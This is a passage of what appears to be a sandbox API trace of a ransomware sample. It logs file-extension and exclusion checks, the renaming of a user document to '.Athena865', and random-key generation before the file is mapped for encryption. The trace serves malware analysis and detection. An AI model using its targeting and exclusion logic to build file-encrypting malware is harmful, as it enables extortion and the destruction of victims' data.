[0050.733] lstrcmpiW (lpString1="ocx", lpString2="adp") returned 1 [0050.733] lstrlenW (lpString="alf") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="alf") returned 1 [0050.733] lstrlenW (lpString="ask") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="ask") returned 1 [0050.733] lstrlenW (lpString="btr") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="btr") returned 1 [0050.733] lstrlenW (lpString="cat") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="cat") returned 1 [0050.733] lstrlenW (lpString="cdb") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="cdb") returned 1 [0050.733] lstrlenW (lpString="ckp") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="ckp") returned 1 [0050.733] lstrlenW (lpString="cma") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="cma") returned 1 [0050.733] lstrlenW (lpString="cpd") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="cpd") returned 1 [0050.733] lstrlenW (lpString="dacpac") returned 6 [0050.733] lstrcmpiW (lpString1="k.docx", lpString2="dacpac") returned 1 [0050.733] lstrlenW (lpString="dad") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="dad") returned 1 [0050.734] lstrlenW (lpString="dadiagrams") returned 10 [0050.734] lstrcmpiW (lpString1="8cOqk.docx", lpString2="dadiagrams") returned -1 [0050.734] lstrlenW (lpString="daschema") returned 8 [0050.734] lstrcmpiW (lpString1="Oqk.docx", lpString2="daschema") returned 1 [0050.734] lstrlenW (lpString="db-journal") returned 10 [0050.734] lstrcmpiW (lpString1="8cOqk.docx", lpString2="db-journal") returned -1 [0050.734] lstrlenW (lpString="db-shm") returned 6 [0050.734] lstrcmpiW (lpString1="k.docx", lpString2="db-shm") returned 1 [0050.734] lstrlenW (lpString="db-wal") returned 6 [0050.734] lstrcmpiW (lpString1="k.docx", lpString2="db-wal") returned 1 [0050.734] lstrlenW (lpString="dbc") returned 3 [0050.734] lstrcmpiW (lpString1="ocx", lpString2="dbc") returned 1 [0050.734] lstrlenW (lpString="dbs") returned 3 [0050.734] lstrcmpiW (lpString1="ocx", lpString2="dbs") returned 1 [0050.734] lstrlenW (lpString="dbt") returned 3 [0050.734] lstrcmpiW (lpString1="ocx", lpString2="dbt") returned 1 [0050.734] lstrlenW (lpString="dbv") returned 3 [0050.734] lstrcmpiW (lpString1="ocx", lpString2="dbv") returned 1 [0050.734] lstrlenW (lpString="dbx") returned 3 [0050.734] lstrcmpiW (lpString1="ocx", lpString2="dbx") returned 1 [0050.734] lstrlenW (lpString="dcb") returned 3 [0050.734] lstrcmpiW (lpString1="ocx", lpString2="dcb") returned 1 [0050.734] lstrlenW (lpString="dct") returned 3 [0050.734] lstrcmpiW (lpString1="ocx", lpString2="dct") returned 1 [0050.734] lstrlenW (lpString="dcx") returned 3 [0050.734] lstrcmpiW (lpString1="ocx", lpString2="dcx") returned 1 [0050.734] lstrlenW (lpString="ddl") returned 3 [0050.734] lstrcmpiW (lpString1="ocx", lpString2="ddl") returned 1 [0050.734] lstrlenW (lpString="dlis") returned 4 [0050.734] lstrcmpiW (lpString1="docx", lpString2="dlis") returned 1 [0050.734] lstrlenW (lpString="dp1") returned 3 [0050.734] lstrcmpiW (lpString1="ocx", lpString2="dp1") returned 1 [0050.735] lstrlenW (lpString="dqy") returned 3 [0050.735] lstrcmpiW (lpString1="ocx", lpString2="dqy") returned 1 [0050.735] lstrlenW (lpString="dsk") returned 3 [0050.735] lstrcmpiW (lpString1="ocx", lpString2="dsk") returned 1 [0050.735] lstrlenW (lpString="dsn") returned 3 [0050.735] lstrcmpiW (lpString1="ocx", lpString2="dsn") returned 1 [0050.735] lstrlenW (lpString="dtsx") returned 4 [0050.735] lstrcmpiW (lpString1="docx", lpString2="dtsx") returned -1 [0050.735] lstrlenW (lpString="dxl") returned 3 [0050.735] lstrcmpiW (lpString1="ocx", lpString2="dxl") returned 1 [0050.735] lstrlenW (lpString="eco") returned 3 [0050.735] lstrcmpiW (lpString1="ocx", lpString2="eco") returned 1 [0050.735] lstrlenW (lpString="ecx") returned 3 [0050.735] lstrcmpiW (lpString1="ocx", lpString2="ecx") returned 1 [0050.735] lstrlenW (lpString="edb") returned 3 [0050.735] lstrcmpiW (lpString1="ocx", lpString2="edb") returned 1 [0050.735] lstrlenW (lpString="epim") returned 4 [0050.735] lstrcmpiW (lpString1="docx", lpString2="epim") returned -1 [0050.735] lstrlenW (lpString="fcd") returned 3 [0050.735] lstrcmpiW (lpString1="ocx", lpString2="fcd") returned 1 [0050.735] lstrlenW (lpString="fdb") returned 3 [0050.735] lstrcmpiW (lpString1="ocx", lpString2="fdb") returned 1 [0050.735] lstrlenW (lpString="fic") returned 3 [0050.735] lstrcmpiW (lpString1="ocx", lpString2="fic") returned 1 [0050.735] lstrlenW (lpString="flexolibrary") returned 12 [0050.735] lstrcmpiW (lpString1="m58cOqk.docx", lpString2="flexolibrary") returned 1 [0050.735] lstrlenW (lpString="fm5") returned 3 [0050.735] lstrcmpiW (lpString1="ocx", lpString2="fm5") returned 1 [0050.735] lstrlenW (lpString="fmp") returned 3 [0050.735] lstrcmpiW (lpString1="ocx", lpString2="fmp") returned 1 [0050.735] lstrlenW (lpString="fmp12") returned 5 [0050.735] lstrcmpiW (lpString1=".docx", lpString2="fmp12") returned -1 [0050.736] lstrlenW (lpString="fmpsl") returned 5 [0050.736] lstrcmpiW (lpString1=".docx", lpString2="fmpsl") returned -1 [0050.736] lstrlenW (lpString="fol") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="fol") returned 1 [0050.736] lstrlenW (lpString="fp3") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="fp3") returned 1 [0050.736] lstrlenW (lpString="fp4") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="fp4") returned 1 [0050.736] lstrlenW (lpString="fp5") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="fp5") returned 1 [0050.736] lstrlenW (lpString="fp7") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="fp7") returned 1 [0050.736] lstrlenW (lpString="fpt") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="fpt") returned 1 [0050.736] lstrlenW (lpString="frm") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="frm") returned 1 [0050.736] lstrlenW (lpString="gdb") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="gdb") returned 1 [0050.736] lstrlenW (lpString="gdb") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="gdb") returned 1 [0050.736] lstrlenW (lpString="grdb") returned 4 [0050.736] lstrcmpiW (lpString1="docx", lpString2="grdb") returned -1 [0050.736] lstrlenW (lpString="gwi") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="gwi") returned 1 [0050.736] lstrlenW (lpString="hdb") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="hdb") returned 1 [0050.736] lstrlenW (lpString="his") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="his") returned 1 [0050.736] lstrlenW (lpString="ib") returned 2 [0050.736] lstrcmpiW (lpString1="cx", lpString2="ib") returned -1 [0050.736] lstrlenW (lpString="idb") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="idb") returned 1 [0050.736] lstrlenW (lpString="ihx") returned 3 [0050.736] lstrcmpiW (lpString1="ocx", lpString2="ihx") returned 1 [0050.737] lstrlenW (lpString="itdb") returned 4 [0050.737] lstrcmpiW (lpString1="docx", lpString2="itdb") returned -1 [0050.737] lstrlenW (lpString="itw") returned 3 [0050.737] lstrcmpiW (lpString1="ocx", lpString2="itw") returned 1 [0050.737] lstrlenW (lpString="jet") returned 3 [0050.737] lstrcmpiW (lpString1="ocx", lpString2="jet") returned 1 [0050.737] lstrlenW (lpString="jtx") returned 3 [0050.737] lstrcmpiW (lpString1="ocx", lpString2="jtx") returned 1 [0050.737] lstrlenW (lpString="kdb") returned 3 [0050.737] lstrcmpiW (lpString1="ocx", lpString2="kdb") returned 1 [0050.737] lstrlenW (lpString="kexi") returned 4 [0050.737] lstrcmpiW (lpString1="docx", lpString2="kexi") returned -1 [0050.737] lstrlenW (lpString="kexic") returned 5 [0050.737] lstrcmpiW (lpString1=".docx", lpString2="kexic") returned -1 [0050.737] lstrlenW (lpString="kexis") returned 5 [0050.737] lstrcmpiW (lpString1=".docx", lpString2="kexis") returned -1 [0050.737] lstrlenW (lpString="lgc") returned 3 [0050.737] lstrcmpiW (lpString1="ocx", lpString2="lgc") returned 1 [0050.737] lstrlenW (lpString="lwx") returned 3 [0050.737] lstrcmpiW (lpString1="ocx", lpString2="lwx") returned 1 [0050.737] lstrlenW (lpString="maf") returned 3 [0050.737] lstrcmpiW (lpString1="ocx", lpString2="maf") returned 1 [0050.737] lstrlenW (lpString="maq") returned 3 [0050.737] lstrcmpiW (lpString1="ocx", lpString2="maq") returned 1 [0050.737] lstrlenW (lpString="mar") returned 3 [0050.737] lstrcmpiW (lpString1="ocx", lpString2="mar") returned 1 [0050.737] lstrlenW (lpString="marshal") returned 7 [0050.737] lstrcmpiW (lpString1="qk.docx", lpString2="marshal") returned 1 [0050.737] lstrlenW (lpString="mas") returned 3 [0050.737] lstrcmpiW (lpString1="ocx", lpString2="mas") returned 1 [0050.737] lstrlenW (lpString="mav") returned 3 [0050.737] lstrcmpiW (lpString1="ocx", lpString2="mav") returned 1 [0050.737] lstrlenW (lpString="maw") returned 3 [0050.737] lstrcmpiW (lpString1="ocx", lpString2="maw") returned 1 [0050.738] lstrlenW (lpString="mdbhtml") returned 7 [0050.738] lstrcmpiW (lpString1="qk.docx", lpString2="mdbhtml") returned 1 [0050.738] lstrlenW (lpString="mdn") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="mdn") returned 1 [0050.738] lstrlenW (lpString="mdt") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="mdt") returned 1 [0050.738] lstrlenW (lpString="mfd") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="mfd") returned 1 [0050.738] lstrlenW (lpString="mpd") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="mpd") returned 1 [0050.738] lstrlenW (lpString="mrg") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="mrg") returned 1 [0050.738] lstrlenW (lpString="mud") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="mud") returned 1 [0050.738] lstrlenW (lpString="mwb") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="mwb") returned 1 [0050.738] lstrlenW (lpString="myd") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="myd") returned 1 [0050.738] lstrlenW (lpString="ndf") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="ndf") returned 1 [0050.738] lstrlenW (lpString="nnt") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="nnt") returned 1 [0050.738] lstrlenW (lpString="nrmlib") returned 6 [0050.738] lstrcmpiW (lpString1="k.docx", lpString2="nrmlib") returned -1 [0050.738] lstrlenW (lpString="ns2") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="ns2") returned 1 [0050.738] lstrlenW (lpString="ns3") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="ns3") returned 1 [0050.738] lstrlenW (lpString="ns4") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="ns4") returned 1 [0050.738] lstrlenW (lpString="nsf") returned 3 [0050.738] lstrcmpiW (lpString1="ocx", lpString2="nsf") returned 1 [0050.739] lstrlenW (lpString="nv") returned 2 [0050.739] lstrcmpiW (lpString1="cx", lpString2="nv") returned -1 [0050.739] lstrlenW (lpString="nv2") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="nv2") returned 1 [0050.739] lstrlenW (lpString="nwdb") returned 4 [0050.739] lstrcmpiW (lpString1="docx", lpString2="nwdb") returned -1 [0050.739] lstrlenW (lpString="nyf") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="nyf") returned 1 [0050.739] lstrlenW (lpString="odb") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="odb") returned -1 [0050.739] lstrlenW (lpString="odb") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="odb") returned -1 [0050.739] lstrlenW (lpString="oqy") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="oqy") returned -1 [0050.739] lstrlenW (lpString="ora") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="ora") returned -1 [0050.739] lstrlenW (lpString="orx") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="orx") returned -1 [0050.739] lstrlenW (lpString="owc") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="owc") returned -1 [0050.739] lstrlenW (lpString="p96") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="p96") returned -1 [0050.739] lstrlenW (lpString="p97") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="p97") returned -1 [0050.739] lstrlenW (lpString="pan") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="pan") returned -1 [0050.739] lstrlenW (lpString="pdb") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="pdb") returned -1 [0050.739] lstrlenW (lpString="pdm") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="pdm") returned -1 [0050.739] lstrlenW (lpString="pnz") returned 3 [0050.739] lstrcmpiW (lpString1="ocx", lpString2="pnz") returned -1 [0050.739] lstrlenW (lpString="qry") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="qry") returned -1 [0050.740] lstrlenW (lpString="qvd") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="qvd") returned -1 [0050.740] lstrlenW (lpString="rbf") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="rbf") returned -1 [0050.740] lstrlenW (lpString="rctd") returned 4 [0050.740] lstrcmpiW (lpString1="docx", lpString2="rctd") returned -1 [0050.740] lstrlenW (lpString="rod") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="rod") returned -1 [0050.740] lstrlenW (lpString="rodx") returned 4 [0050.740] lstrcmpiW (lpString1="docx", lpString2="rodx") returned -1 [0050.740] lstrlenW (lpString="rpd") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="rpd") returned -1 [0050.740] lstrlenW (lpString="rsd") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="rsd") returned -1 [0050.740] lstrlenW (lpString="sas7bdat") returned 8 [0050.740] lstrcmpiW (lpString1="Oqk.docx", lpString2="sas7bdat") returned -1 [0050.740] lstrlenW (lpString="sbf") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="sbf") returned -1 [0050.740] lstrlenW (lpString="scx") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="scx") returned -1 [0050.740] lstrlenW (lpString="sdb") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="sdb") returned -1 [0050.740] lstrlenW (lpString="sdc") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="sdc") returned -1 [0050.740] lstrlenW (lpString="sdf") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="sdf") returned -1 [0050.740] lstrlenW (lpString="sis") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="sis") returned -1 [0050.740] lstrlenW (lpString="spq") returned 3 [0050.740] lstrcmpiW (lpString1="ocx", lpString2="spq") returned -1 [0050.740] lstrlenW (lpString="te") returned 2 [0050.740] lstrcmpiW (lpString1="cx", lpString2="te") returned -1 [0050.740] lstrlenW (lpString="teacher") returned 7 [0050.741] lstrcmpiW (lpString1="qk.docx", lpString2="teacher") returned -1 [0050.741] lstrlenW (lpString="tmd") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="tmd") returned -1 [0050.741] lstrlenW (lpString="tps") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="tps") returned -1 [0050.741] lstrlenW (lpString="trc") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="trc") returned -1 [0050.741] lstrlenW (lpString="trc") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="trc") returned -1 [0050.741] lstrlenW (lpString="trm") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="trm") returned -1 [0050.741] lstrlenW (lpString="udb") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="udb") returned -1 [0050.741] lstrlenW (lpString="udl") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="udl") returned -1 [0050.741] lstrlenW (lpString="usr") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="usr") returned -1 [0050.741] lstrlenW (lpString="v12") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="v12") returned -1 [0050.741] lstrlenW (lpString="vis") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="vis") returned -1 [0050.741] lstrlenW (lpString="vpd") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="vpd") returned -1 [0050.741] lstrlenW (lpString="vvv") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="vvv") returned -1 [0050.741] lstrlenW (lpString="wdb") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="wdb") returned -1 [0050.741] lstrlenW (lpString="wmdb") returned 4 [0050.741] lstrcmpiW (lpString1="docx", lpString2="wmdb") returned -1 [0050.741] lstrlenW (lpString="wrk") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="wrk") returned -1 [0050.741] lstrlenW (lpString="xdb") returned 3 [0050.741] lstrcmpiW (lpString1="ocx", lpString2="xdb") returned -1 [0050.741] lstrlenW (lpString="xld") returned 3 [0050.742] lstrcmpiW (lpString1="ocx", lpString2="xld") returned -1 [0050.742] lstrlenW (lpString="xmlff") returned 5 [0050.742] lstrcmpiW (lpString1=".docx", lpString2="xmlff") returned -1 [0050.742] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\hm58cOqk.docx.Athena865") returned 80 [0050.742] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\hm58cOqk.docx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\hm58coqk.docx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\hm58cOqk.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\hm58coqk.docx.athena865"), dwFlags=0x1) returned 1 [0050.742] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\hm58cOqk.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\hm58coqk.docx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.743] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=96261) returned 1 [0050.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.743] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.744] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.744] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.744] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17b10, lpName=0x0) returned 0x154 [0050.744] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17b10) returned 0x100000 [0050.747] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.748] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.748] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.748] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.749] CloseHandle (hObject=0x154) returned 1 [0050.749] CloseHandle (hObject=0x17c) returned 1 [0050.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.751] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce11940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0050.751] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0050.751] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x181708a0, ftCreationTime.dwHighDateTime=0x1d514b0, ftLastAccessTime.dwLowDateTime=0xfb97bc0, ftLastAccessTime.dwHighDateTime=0x1d55501, ftLastWriteTime.dwLowDateTime=0xfb97bc0, ftLastWriteTime.dwHighDateTime=0x1d55501, nFileSizeHigh=0x0, nFileSizeLow=0xda07, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iipccoSifvOHT1TcFcj.docx", cAlternateFileName="IIPCCO~1.DOC")) returned 1 [0050.751] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.751] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.751] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2=".") returned 1 [0050.751] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2="..") returned 1 [0050.751] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2="windows") returned -1 [0050.751] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2="bootmgr") returned 1 [0050.751] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2="temp") returned -1 [0050.751] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2="pagefile.sys") returned -1 [0050.752] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2="boot") returned 1 [0050.752] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2="ids.txt") returned 1 [0050.752] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2="ntuser.dat") returned -1 [0050.752] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2="perflogs") returned -1 [0050.752] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2="MSBuild") returned -1 [0050.752] lstrlenW (lpString="iipccoSifvOHT1TcFcj.docx") returned 24 [0050.752] lstrcpyW (in: lpString1=0x241e8ba, lpString2="iipccoSifvOHT1TcFcj.docx" | out: lpString1="iipccoSifvOHT1TcFcj.docx") returned="iipccoSifvOHT1TcFcj.docx" [0050.752] lstrlenW (lpString="iipccoSifvOHT1TcFcj.docx") returned 24 [0050.752] lstrlenW (lpString="Athena865") returned 9 [0050.752] lstrcmpiW (lpString1="cFcj.docx", lpString2="Athena865") returned 1 [0050.752] lstrlenW (lpString=".dll") returned 4 [0050.752] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2=".dll") returned 1 [0050.752] lstrlenW (lpString=".lnk") returned 4 [0050.752] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2=".lnk") returned 1 [0050.752] lstrlenW (lpString=".ini") returned 4 [0050.752] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2=".ini") returned 1 [0050.752] lstrlenW (lpString=".sys") returned 4 [0050.752] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx", lpString2=".sys") returned 1 [0050.752] lstrlenW (lpString="iipccoSifvOHT1TcFcj.docx") returned 24 [0050.752] lstrlenW (lpString="bak") returned 3 [0050.752] lstrcmpiW (lpString1="ocx", lpString2="bak") returned 1 [0050.752] lstrlenW (lpString="ba_") returned 3 [0050.752] lstrcmpiW (lpString1="ocx", lpString2="ba_") returned 1 [0050.752] lstrlenW (lpString="dbb") returned 3 [0050.752] lstrcmpiW (lpString1="ocx", lpString2="dbb") returned 1 [0050.752] lstrlenW (lpString="vmdk") returned 4 [0050.752] lstrcmpiW (lpString1="docx", lpString2="vmdk") returned -1 [0050.752] lstrlenW (lpString="rar") returned 3 [0050.752] lstrcmpiW (lpString1="ocx", lpString2="rar") returned -1 [0050.752] lstrlenW (lpString="zip") returned 3 [0050.752] lstrcmpiW (lpString1="ocx", lpString2="zip") returned -1 [0050.752] lstrlenW (lpString="tgz") returned 3 [0050.752] lstrcmpiW (lpString1="ocx", lpString2="tgz") returned -1 [0050.752] lstrlenW (lpString="vbox") returned 4 [0050.753] lstrcmpiW (lpString1="docx", lpString2="vbox") returned -1 [0050.753] lstrlenW (lpString="vdi") returned 3 [0050.753] lstrcmpiW (lpString1="ocx", lpString2="vdi") returned -1 [0050.753] lstrlenW (lpString="vhd") returned 3 [0050.753] lstrcmpiW (lpString1="ocx", lpString2="vhd") returned -1 [0050.753] lstrlenW (lpString="vhdx") returned 4 [0050.753] lstrcmpiW (lpString1="docx", lpString2="vhdx") returned -1 [0050.753] lstrlenW (lpString="avhd") returned 4 [0050.753] lstrcmpiW (lpString1="docx", lpString2="avhd") returned 1 [0050.753] lstrlenW (lpString="db") returned 2 [0050.753] lstrcmpiW (lpString1="cx", lpString2="db") returned -1 [0050.753] lstrlenW (lpString="db2") returned 3 [0050.753] lstrcmpiW (lpString1="ocx", lpString2="db2") returned 1 [0050.753] lstrlenW (lpString="db3") returned 3 [0050.753] lstrcmpiW (lpString1="ocx", lpString2="db3") returned 1 [0050.753] lstrlenW (lpString="dbf") returned 3 [0050.753] lstrcmpiW (lpString1="ocx", lpString2="dbf") returned 1 [0050.753] lstrlenW (lpString="mdf") returned 3 [0050.753] lstrcmpiW (lpString1="ocx", lpString2="mdf") returned 1 [0050.753] lstrlenW (lpString="mdb") returned 3 [0050.753] lstrcmpiW (lpString1="ocx", lpString2="mdb") returned 1 [0050.753] lstrlenW (lpString="sql") returned 3 [0050.753] lstrcmpiW (lpString1="ocx", lpString2="sql") returned -1 [0050.753] lstrlenW (lpString="sqlite") returned 6 [0050.753] lstrcmpiW (lpString1="j.docx", lpString2="sqlite") returned -1 [0050.753] lstrlenW (lpString="sqlite3") returned 7 [0050.753] lstrcmpiW (lpString1="cj.docx", lpString2="sqlite3") returned -1 